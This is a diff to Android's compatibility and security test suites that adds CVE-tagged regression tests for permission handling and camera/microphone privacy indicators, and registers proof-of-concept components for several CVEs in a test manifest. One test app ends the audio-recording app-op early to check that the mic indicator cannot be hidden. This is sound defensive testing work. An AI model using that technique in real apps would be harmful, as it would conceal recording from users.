diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index e4fa9c2..415a17e 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -57,13 +57,19 @@
public class OneTimePermissionTest {
private static final String APP_PKG_NAME = "android.permission.cts.appthatrequestpermission";
+ private static final String CUSTOM_CAMERA_PERM_APP_PKG_NAME =
+ "android.permission.cts.appthatrequestcustomcamerapermission";
private static final String APK =
"/data/local/tmp/cts/permissions/CtsAppThatRequestsOneTimePermission.apk";
+ private static final String CUSTOM_CAMERA_PERM_APK =
+ "/data/local/tmp/cts/permissions/CtsAppThatRequestCustomCameraPermission.apk";
private static final String EXTRA_FOREGROUND_SERVICE_LIFESPAN =
"android.permission.cts.OneTimePermissionTest.EXTRA_FOREGROUND_SERVICE_LIFESPAN";
private static final String EXTRA_FOREGROUND_SERVICE_STICKY =
"android.permission.cts.OneTimePermissionTest.EXTRA_FOREGROUND_SERVICE_STICKY";
+ public static final String CUSTOM_PERMISSION = "appthatrequestcustomcamerapermission.CUSTOM";
+
private static final long ONE_TIME_TIMEOUT_MILLIS = 5000;
private static final long ONE_TIME_KILLED_DELAY_MILLIS = 5000;
private static final long ONE_TIME_TIMER_LOWER_GRACE_PERIOD = 1000;
@@ -71,6 +77,7 @@
private final Context mContext =
InstrumentationRegistry.getInstrumentation().getTargetContext();
+ private final PackageManager mPackageManager = mContext.getPackageManager();
private final UiDevice mUiDevice =
UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
private final ActivityManager mActivityManager =
@@ -220,7 +227,7 @@
private void assertGrantedState(String s, int permissionGranted, long timeoutMillis) {
eventually(() -> Assert.assertEquals(s,
- permissionGranted, mContext.getPackageManager()
+ permissionGranted, mPackageManager
.checkPermission(ACCESS_FINE_LOCATION, APP_PKG_NAME)), timeoutMillis);
}
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionFlagsTest.java b/tests/tests/permission/src/android/permission/cts/PermissionFlagsTest.java
index e0f0e3f..b552656 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionFlagsTest.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionFlagsTest.java
@@ -20,12 +20,15 @@
import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
import static android.Manifest.permission.READ_CALL_LOG;
import static android.Manifest.permission.READ_CONTACTS;
+import static android.Manifest.permission.SYSTEM_ALERT_WINDOW;
+import static android.content.pm.PackageManager.FLAG_PERMISSION_GRANTED_BY_ROLE;
import static android.content.pm.PackageManager.FLAG_PERMISSION_REVIEW_REQUIRED;
import static android.content.pm.PackageManager.FLAG_PERMISSION_REVOKE_ON_UPGRADE;
import static android.content.pm.PackageManager.FLAG_PERMISSION_REVOKE_WHEN_REQUESTED;
import static android.content.pm.PackageManager.FLAG_PERMISSION_USER_FIXED;
import static android.content.pm.PackageManager.FLAG_PERMISSION_USER_SET;
import static android.permission.cts.PermissionUtils.clearAppState;
+import static android.permission.cts.PermissionUtils.getAllPermissionFlags;
import static android.permission.cts.PermissionUtils.getPermissionFlags;
import static android.permission.cts.PermissionUtils.install;
import static android.permission.cts.PermissionUtils.isGranted;
@@ -39,6 +42,7 @@
import static org.junit.Assert.assertTrue;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.runner.AndroidJUnit4;
@@ -52,8 +56,10 @@
@RunWith(AndroidJUnit4.class)
@AppModeFull(reason = "Cannot read permission flags of other app.")
public class PermissionFlagsTest {
- /** The package name of all apps used in the test */
+ /** The package name of most apps used in the test */
private static final String APP_PKG = "android.permission.cts.appthatrequestpermission";
+ private static final String APP_SYSTEM_ALERT_WINDOW_PKG =
+ "android.permission3.cts.usesystemalertwindowpermission";
private static final String TMP_DIR = "/data/local/tmp/cts/permissions/";
private static final String APK_CONTACTS_15 =
@@ -62,10 +68,13 @@
TMP_DIR + "CtsAppThatRequestsLocationPermission22.apk";
private static final String APK_LOCATION_28 =
TMP_DIR + "CtsAppThatRequestsLocationPermission28.apk";
+ private static final String APK_SYSTEM_ALERT_WINDOW_23 =
+ TMP_DIR + "CtsAppThatRequestsSystemAlertWindow23.apk";
@After
public void uninstallTestApp() {
uninstallApp(APP_PKG);
+ uninstallApp(APP_SYSTEM_ALERT_WINDOW_PKG);
}
@Test
@@ -254,4 +263,20 @@
assertEquals(0,getPermissionFlags(APP_PKG, ACCESS_BACKGROUND_LOCATION)
& FLAG_PERMISSION_REVOKE_ON_UPGRADE);
}
+
+ @AsbSecurityTest(cveBugId = 283006437)
+ @Test
+ public void nonRuntimePermissionFlagsPreservedAfterReinstall() throws Exception {
+ install(APK_SYSTEM_ALERT_WINDOW_23);
+
+ int flags = FLAG_PERMISSION_USER_SET | FLAG_PERMISSION_GRANTED_BY_ROLE;
+ setPermissionFlags(APP_SYSTEM_ALERT_WINDOW_PKG, SYSTEM_ALERT_WINDOW, flags, flags);
+ assertEquals(flags, getAllPermissionFlags(APP_SYSTEM_ALERT_WINDOW_PKG, SYSTEM_ALERT_WINDOW)
+ & flags);
+
+ install(APK_SYSTEM_ALERT_WINDOW_23);
+
+ assertEquals(flags, getAllPermissionFlags(APP_SYSTEM_ALERT_WINDOW_PKG, SYSTEM_ALERT_WINDOW)
+ & flags);
+ }
}
diff --git a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
index 3dc5f03..75da42f 100644
--- a/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/RemovePermissionTest.java
@@ -39,8 +39,10 @@
import org.junit.Before;
import org.junit.Test;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
@AppModeFull(reason = "Instant apps cannot read state of other packages.")
-public class RemovePermissionTest {
+public class RemovePermissionTest extends StsExtraBusinessLogicTestCase {
private static final String APP_PKG_NAME_BASE =
"android.permission.cts.revokepermissionwhenremoved";
private static final String ADVERSARIAL_PERMISSION_DEFINER_PKG_NAME =
diff --git a/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt
new file mode 100644
index 0000000..f3f06de
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/RevokeSawPermissionTest.kt
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts
+
+import android.content.pm.PackageManager
+import android.platform.test.annotations.AsbSecurityTest
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+import org.junit.After
+import org.junit.Assert
+import org.junit.Test
+
+private val APP_PKG_NAME = "android.permission3.cts.usesystemalertwindowpermission"
+private val APK_22 = "/data/local/tmp/cts/permissions/" +
+ "CtsAppThatRequestsSystemAlertWindow22.apk"
+private val APK_23 = "/data/local/tmp/cts/permissions/" +
+ "CtsAppThatRequestsSystemAlertWindow23.apk"
+
+class RevokeSawPermissionTest {
+
+ fun installApp(apk: String) {
+ SystemUtil.runShellCommand("pm install -r $apk")
+ }
+
+ @After
+ fun uninstallApp() {
+ SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
+ }
+
+ @AsbSecurityTest(cveBugId = [221040577L])
+ @Test
+ fun testPre23AppsWithSystemAlertWindowGetDeniedOnUpgrade() {
+ installApp(APK_22)
+ assertAppHasPermission(android.Manifest.permission.SYSTEM_ALERT_WINDOW, true)
+ installApp(APK_23)
+ assertAppHasPermission(android.Manifest.permission.SYSTEM_ALERT_WINDOW, false)
+ }
+
+ private fun assertAppHasPermission(permissionName: String, expectPermission: Boolean) {
+ Assert.assertEquals(
+ if (expectPermission) {
+ PackageManager.PERMISSION_GRANTED
+ } else {
+ PackageManager.PERMISSION_DENIED
+ },
+ InstrumentationRegistry.getInstrumentation().getTargetContext().packageManager
+ .checkPermission(permissionName, APP_PKG_NAME)
+ )
+ }
+}
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index f2469ee..fe02deb 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -230,5 +230,7 @@
protected fun startActivityForFuture(
intent: Intent
): CompletableFuture<Instrumentation.ActivityResult> =
- activityRule.launchActivity(null).startActivityForFuture(intent)
+ CompletableFuture<Instrumentation.ActivityResult>().also {
+ activityRule.launchActivity(null).startActivityForFuture(intent, it)
+ }
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/StartForFutureActivity.kt b/tests/tests/permission3/src/android/permission3/cts/StartForFutureActivity.kt
index 19cf115..1774030 100644
--- a/tests/tests/permission3/src/android/permission3/cts/StartForFutureActivity.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/StartForFutureActivity.kt
@@ -22,17 +22,22 @@
import java.util.concurrent.CompletableFuture
class StartForFutureActivity : Activity() {
- private val future = CompletableFuture<Instrumentation.ActivityResult>()
-
- fun startActivityForFuture(intent: Intent): CompletableFuture<Instrumentation.ActivityResult> {
+ fun startActivityForFuture(
+ intent: Intent,
+ future: CompletableFuture<Instrumentation.ActivityResult>
+ ) {
startActivityForResult(intent, 1)
- return future
+ StartForFutureActivity.future = future
}
override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
super.onActivityResult(requestCode, resultCode, data)
-
- future.complete(Instrumentation.ActivityResult(resultCode, data))
+ future!!.complete(Instrumentation.ActivityResult(resultCode, data))
+ future = null
finish()
}
+
+ companion object {
+ private var future: CompletableFuture<Instrumentation.ActivityResult>? = null
+ }
}
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
index 2ff3bee..1fc1cb7 100644
--- a/tests/tests/permission4/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -31,9 +31,11 @@
"compatibility-device-util-axt",
"ctstestrunner-axt",
"cts-wm-util",
+ "sts-device-util",
],
test_suites: [
"cts",
+ "sts",
"vts10",
"general-tests",
"mts-permission",
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
index a7e0ab6..9dc1b45 100644
--- a/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
@@ -25,6 +25,7 @@
// Tag this module as a cts test artifact
test_suites: [
"cts",
+ "sts",
"vts10",
"general-tests",
],
@@ -36,6 +37,6 @@
],
srcs: [
- "src/**/*.kt"
+ "src/**/*.kt",
],
}
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
index 659f228..f7a5c31 100644
--- a/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/src/android/permission4/cts/appthataccessescameraandmic/AccessCameraOrMicActivity.kt
@@ -42,6 +42,7 @@
private const val USE_CAMERA = "use_camera"
private const val USE_MICROPHONE = "use_microphone"
private const val USE_HOTWORD = "use_hotword"
+private const val FINISH_EARLY = "finish_early"
private const val USE_DURATION_MS = 10000L
private const val SAMPLE_RATE_HZ = 44100
@@ -62,12 +63,14 @@
private var runMic = false
private var hotwordFinished = false
private var runHotword = false
+ private var finishEarly = false
override fun onStart() {
super.onStart()
runCamera = intent.getBooleanExtra(USE_CAMERA, false)
runMic = intent.getBooleanExtra(USE_MICROPHONE, false)
runHotword = intent.getBooleanExtra(USE_HOTWORD, false)
+ finishEarly = intent.getBooleanExtra(FINISH_EARLY, false)
if (runMic) {
useMic()
@@ -193,6 +196,11 @@
AudioRecord.getMinBufferSize(SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT)
recorder = AudioRecord(MIC, SAMPLE_RATE_HZ, CHANNEL_IN_MONO, ENCODING_PCM_16BIT, minSize)
recorder?.startRecording()
+ if (finishEarly) {
+ appOpsManager = getSystemService(AppOpsManager::class.java)
+ appOpsManager?.finishOp(AppOpsManager.OPSTR_RECORD_AUDIO, Process.myUid(), packageName)
+ return
+ }
GlobalScope.launch {
delay(USE_DURATION_MS)
micFinished = true
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 48aef89..27894fd 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -27,6 +27,7 @@
import android.os.Build
import android.os.Process
import android.permission.PermissionManager
+import android.platform.test.annotations.AsbSecurityTest
import android.provider.DeviceConfig
import android.provider.Settings
import android.server.wm.WindowManagerStateHelper
@@ -40,6 +41,7 @@
import com.android.compatibility.common.util.SystemUtil.eventually
import com.android.compatibility.common.util.SystemUtil.runShellCommand
import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase
import org.junit.After
import org.junit.Assert
import org.junit.Assert.assertEquals
@@ -60,6 +62,7 @@
private const val USE_CAMERA = "use_camera"
private const val USE_MICROPHONE = "use_microphone"
private const val USE_HOTWORD = "use_hotword"
+private const val FINISH_EARLY = "finish_early"
private const val INTENT_ACTION = "test.action.USE_CAMERA_OR_MIC"
private const val PRIVACY_CHIP_ID = "com.android.systemui:id/privacy_chip"
private const val CAR_MIC_PRIVACY_CHIP_ID = "com.android.systemui:id/mic_privacy_chip"
@@ -73,7 +76,7 @@
private const val TIMEOUT_MILLIS: Long = 20000
private const val TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator"
-class CameraMicIndicatorsPermissionTest {
+class CameraMicIndicatorsPermissionTest : StsExtraBusinessLogicTestCase {
private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
private val context: Context = instrumentation.context
private val uiAutomation: UiAutomation = instrumentation.uiAutomation
@@ -95,6 +98,8 @@
@get:Rule
val disableAnimationRule = DisableAnimationRule()
+ constructor() : super()
+
companion object {
const val SAFETY_CENTER_ENABLED = "safety_center_is_enabled"
const val DELAY_MILLIS = 3000L
@@ -167,11 +172,17 @@
Thread.sleep(DELAY_MILLIS)
}
- private fun openApp(useMic: Boolean, useCamera: Boolean, useHotword: Boolean) {
+ private fun openApp(
+ useMic: Boolean,
+ useCamera: Boolean,
+ useHotword: Boolean,
+ finishEarly: Boolean = false
+ ) {
context.startActivity(Intent(INTENT_ACTION).apply {
putExtra(USE_CAMERA, useCamera)
putExtra(USE_MICROPHONE, useMic)
putExtra(USE_HOTWORD, useHotword)
+ putExtra(FINISH_EARLY, finishEarly)
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
})
}
@@ -193,6 +204,13 @@
}
@Test
+ @AsbSecurityTest(cveBugId = [258672042])
+ fun testMicIndicatorWithManualFinishOpStillShows() {
+ changeSafetyCenterFlag(false.toString())
+ testCameraAndMicIndicator(useMic = true, useCamera = false, finishEarly = true)
+ }
+
+ @Test
fun testHotwordIndicatorBehavior() {
changeSafetyCenterFlag(false.toString())
testCameraAndMicIndicator(useMic = false, useCamera = false, useHotword = true)
@@ -272,12 +290,13 @@
useCamera: Boolean,
useHotword: Boolean = false,
chainUsage: Boolean = false,
- safetyCenterEnabled: Boolean = false
+ safetyCenterEnabled: Boolean = false,
+ finishEarly: Boolean = false
) {
// If camera is not available skip the test
assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA))
var chainAttribution: AttributionSource? = null
- openApp(useMic, useCamera, useHotword)
+ openApp(useMic, useCamera, useHotword, finishEarly)
try {
eventually {
val appView = uiDevice.findObject(By.textContains(APP_LABEL))
@@ -292,20 +311,23 @@
}
}
- if (isTv) {
- assertTvIndicatorsShown(useMic, useCamera, useHotword)
- } else if (isCar) {
- assertCarIndicatorsShown(useMic, useCamera, useHotword, chainUsage)
- } else {
- // Hotword gets remapped to RECORD_AUDIO on handheld, so handheld should show a mic
- // indicator
+ if (!isTv && !isCar) {
uiDevice.openQuickSettings()
- assertPrivacyChipAndIndicatorsPresent(
- useMic,
- useCamera,
- chainUsage,
- safetyCenterEnabled
- )
+ }
+ assertIndicatorsShown(useMic, useCamera, useHotword, chainUsage,
+ safetyCenterEnabled)
+
+ if (finishEarly) {
+ // Assert that the indicator doesn't go away
+ val indicatorGoneException: Exception? = try {
+ eventually {
+ assertIndicatorsShown(false, false, false)
+ }
+ null
+ } catch (e: Exception) {
+ e
+ }
+ assertNotNull("Expected the indicator to be present", indicatorGoneException)
}
} finally {
if (chainAttribution != null) {
@@ -315,8 +337,25 @@
}
}
+ private fun assertIndicatorsShown(
+ useMic: Boolean,
+ useCamera: Boolean,
+ useHotword: Boolean = false,
+ chainUsage: Boolean = false,
+ safetyCenterEnabled: Boolean = false,
+ ) {
+ if (isTv) {
+ assertTvIndicatorsShown(useMic, useCamera, useHotword)
+ } else if (isCar) {
+ assertCarIndicatorsShown(useMic, useCamera, useHotword, chainUsage)
+ } else {
+ assertPrivacyChipAndIndicatorsPresent(useMic, useCamera, chainUsage,
+ safetyCenterEnabled)
+ }
+ }
+
private fun assertTvIndicatorsShown(useMic: Boolean, useCamera: Boolean, useHotword: Boolean) {
- if (useMic || useHotword) {
+ if (useMic || useHotword || (!useMic && !useCamera && !useHotword)) {
val found = WindowManagerStateHelper()
.waitFor("Waiting for the mic indicator window to come up") {
it.containsWindow(TV_MIC_INDICATOR_WINDOW_TITLE) &&
@@ -351,7 +390,7 @@
assertNotNull("Did not find camera chip", cameraPrivacyChip)
// Click to chip to show the panel.
cameraPrivacyChip.click()
- } else if (useHotword) {
+ } else {
assertNull("Found mic chip, but did not expect to", micPrivacyChip)
assertNull("Found camera chip, but did not expect to", cameraPrivacyChip)
}
@@ -363,18 +402,7 @@
assertChainMicAndOtherCameraUsed(false)
return@eventually
}
- if (useHotword) {
- // There should be no privacy panel when using hot word
- val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel))
- assertFalse("View with text $micLabel found, but did not expect to",
- micLabelView.exists())
- val cameraLabelView = uiDevice.findObject(UiSelector().textContains(cameraLabel))
- assertFalse("View with text $cameraLabel found, but did not expect to",
- cameraLabelView.exists())
- val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
- assertFalse("View with text $APP_LABEL found, but did not expect to",
- appView.exists())
- } else if (useMic) {
+ if (useMic) {
// There should be a mic privacy panel after mic privacy chip is clicked
val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel))
assertTrue("View with text $micLabel not found", micLabelView.exists())
@@ -386,6 +414,17 @@
assertTrue("View with text $cameraLabel not found", cameraLabelView.exists())
val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
assertTrue("View with text $APP_LABEL not found", appView.exists())
+ } else {
+ // There should be no privacy panel when using hot word
+ val micLabelView = uiDevice.findObject(UiSelector().textContains(micLabel))
+ assertFalse("View with text $micLabel found, but did not expect to",
+ micLabelView.exists())
+ val cameraLabelView = uiDevice.findObject(UiSelector().textContains(cameraLabel))
+ assertFalse("View with text $cameraLabel found, but did not expect to",
+ cameraLabelView.exists())
+ val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
+ assertFalse("View with text $APP_LABEL found, but did not expect to",
+ appView.exists())
}
}
}
@@ -397,7 +436,7 @@
safetyCenterEnabled: Boolean = false
) {
// Ensure the privacy chip is present (or not)
- val chipFound = isChipPresent()
+ val chipFound = isChipPresent(useMic || useCamera)
if (useMic || useCamera) {
assertTrue("Did not find chip", chipFound)
} else { // hotword
@@ -425,6 +464,7 @@
uiDevice.findObjects(By.res(SAFETY_CENTER_ITEM_ID)).size > 0)
}
}
+ uiDevice.pressBack()
}
private fun createChainAttribution(): AttributionSource? {
@@ -463,13 +503,15 @@
assertEquals("Expected only one shell view", 1, shellView.size)
}
- private fun isChipPresent(): Boolean {
+ private fun isChipPresent(clickChip: Boolean): Boolean {
var chipFound = false
try {
eventually {
val privacyChip = uiDevice.findObject(By.res(PRIVACY_CHIP_ID))
assertNotNull("view with id $PRIVACY_CHIP_ID not found", privacyChip)
- privacyChip.click()
+ if (clickChip) {
+ privacyChip.click()
+ }
chipFound = true
}
} catch (e: Exception) {
diff --git a/tests/tests/provider/Android.bp b/tests/tests/provider/Android.bp
index b88fcf5..7abf096 100644
--- a/tests/tests/provider/Android.bp
+++ b/tests/tests/provider/Android.bp
@@ -32,6 +32,7 @@
"mockito-target-minus-junit4",
// TODO: remove testng once Android migrates to JUnit 4.12, which provides assertThrows
"testng",
+ "sts-device-util",
],
jni_libs: [
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
index 2f5155a..9c603f8 100644
--- a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
@@ -40,8 +40,10 @@
import org.junit.Test;
import org.junit.runner.RunWith;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
@RunWith(AndroidJUnit4.class)
-public class Settings_SystemTest {
+public class Settings_SystemTest extends StsExtraBusinessLogicTestCase {
private static final String INT_FIELD = System.END_BUTTON_BEHAVIOR;
private static final String LONG_FIELD = System.SCREEN_OFF_TIMEOUT;
private static final String FLOAT_FIELD = System.FONT_SCALE;
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 0cf3dd5..6a15b65 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -80,6 +80,7 @@
":CtsDeviceInfo",
":RolePermissionOverrideTestApp",
":SplitBluetoothPermissionTestApp",
+ ":CtsAppThatRequestCustomCameraPermission",
],
}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 186c5e2a..4e43d57 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -18,6 +18,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.security.cts">
+ <permission-tree android:name="com.android.cts"/>
+
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
@@ -25,9 +27,11 @@
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+ <uses-permission android:name="android.permission.EXPAND_STATUS_BAR"/>
<!-- For FileIntegrityManager -->
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
@@ -201,6 +205,62 @@
</intent-filter>
</activity>
+ <receiver android:name="android.security.cts.CVE_2022_20420.PocDeviceAdminReceiver"
+ android:exported="true"
+ android:permission="android.permission.BIND_DEVICE_ADMIN">
+ <meta-data android:name="android.app.device_admin"
+ android:resource="@xml/device_admin_CVE_2022_20420" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+
+ <activity android:name="android.security.cts.ActivityManagerTest$ActivityOptionsActivity" />
+ <activity android:name="android.security.cts.ActivityManagerTest$BaseActivity" />
+
+ <activity android:name="android.security.cts.PackageInstallerTest$BackgroundLaunchActivity"
+ android:exported="true" />
+ <service android:name="android.security.cts.TestForegroundService"
+ android:exported="true" />
+
+ <provider android:name="android.security.cts.CVE_2022_20358.PocContentProvider"
+ android:authorities="android.security.cts.CVE_2022_20358.provider"
+ android:enabled="true"
+ android:exported="true" />
+
+ <service android:name="android.security.cts.CVE_2022_20358.PocSyncService"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.content.SyncAdapter" />
+ </intent-filter>
+ <meta-data android:name="android.content.SyncAdapter"
+ android:resource="@xml/syncadapter" />
+ </service>
+
+ <activity android:name="android.security.cts.CVE_2023_20953.PocActivity"
+ android:exported="true" />
+
+ <activity android:name="android.security.cts.CVE_2021_0642.PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="CVE_2021_0642_ACTION" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
+ <activity android:name="android.security.cts.CVE_2021_0642.SecondActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="CVE_2021_0642_ACTION" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index 9bd5eb7..57ffd67 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -52,6 +52,7 @@
<option name="cleanup" value="true" />
<option name="push" value="RolePermissionOverrideTestApp.apk->/data/local/tmp/cts/security/RolePermissionOverrideTestApp.apk" />
<option name="push" value="SplitBluetoothPermissionTestApp.apk->/data/local/tmp/cts/security/SplitBluetoothPermissionTestApp.apk" />
+ <option name="push" value="CtsAppThatRequestCustomCameraPermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestCustomCameraPermission.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/apps/MainlineModuleDetector/Android.bp b/tests/tests/security/AppThatRequestCustomCameraPermission/Android.bp
similarity index 65%
rename from apps/MainlineModuleDetector/Android.bp
rename to tests/tests/security/AppThatRequestCustomCameraPermission/Android.bp
index 2cba39f..873733d 100644
--- a/apps/MainlineModuleDetector/Android.bp
+++ b/tests/tests/security/AppThatRequestCustomCameraPermission/Android.bp
@@ -1,5 +1,5 @@
//
-// Copyright (C) 2019 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -15,24 +15,23 @@
//
package {
- // See: http://go/android-license-faq
default_applicable_licenses: ["Android-Apache-2.0"],
}
-android_test {
- name: "MainlineModuleDetector",
- defaults: ["cts_defaults"],
- static_libs: ["compatibility-device-util-axt"],
- // Disable dexpreopt and <uses-library> check for test.
- enforce_uses_libs: false,
- dex_preopt: {
- enabled: false,
- },
- srcs: ["src/**/*.java"],
- sdk_version: "current",
+android_test_helper_app {
+ name: "CtsAppThatRequestCustomCameraPermission",
+ defaults: [
+ "cts_defaults",
+ "mts-target-sdk-version-current",
+ ],
+ min_sdk_version: "30",
+ // Tag this module as a cts test artifact
test_suites: [
"cts",
- "general-tests",
+ "mts",
"sts",
+ "general-tests",
],
+ srcs: ["src/**/*.java"],
+ resource_dirs: ["res"],
}
diff --git a/tests/tests/security/AppThatRequestCustomCameraPermission/AndroidManifest.xml b/tests/tests/security/AppThatRequestCustomCameraPermission/AndroidManifest.xml
new file mode 100644
index 0000000..a8143a7
--- /dev/null
+++ b/tests/tests/security/AppThatRequestCustomCameraPermission/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.permission.cts.appthatrequestcustomcamerapermission">
+
+ <permission android:name="appthatrequestcustomcamerapermission.CUSTOM"
+ android:permissionGroup="android.permission-group.CAMERA"
+ android:label="@string/permlab_custom"
+ android:description="@string/permdesc_custom"
+ android:protectionLevel="dangerous" />
+
+ <uses-permission android:name="android.permission.CAMERA" />
+ <uses-permission android:name="appthatrequestcustomcamerapermission.CUSTOM" />
+
+ <application>
+ <activity android:name=".RequestCameraPermission" android:exported="true"
+ android:visibleToInstantApps="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
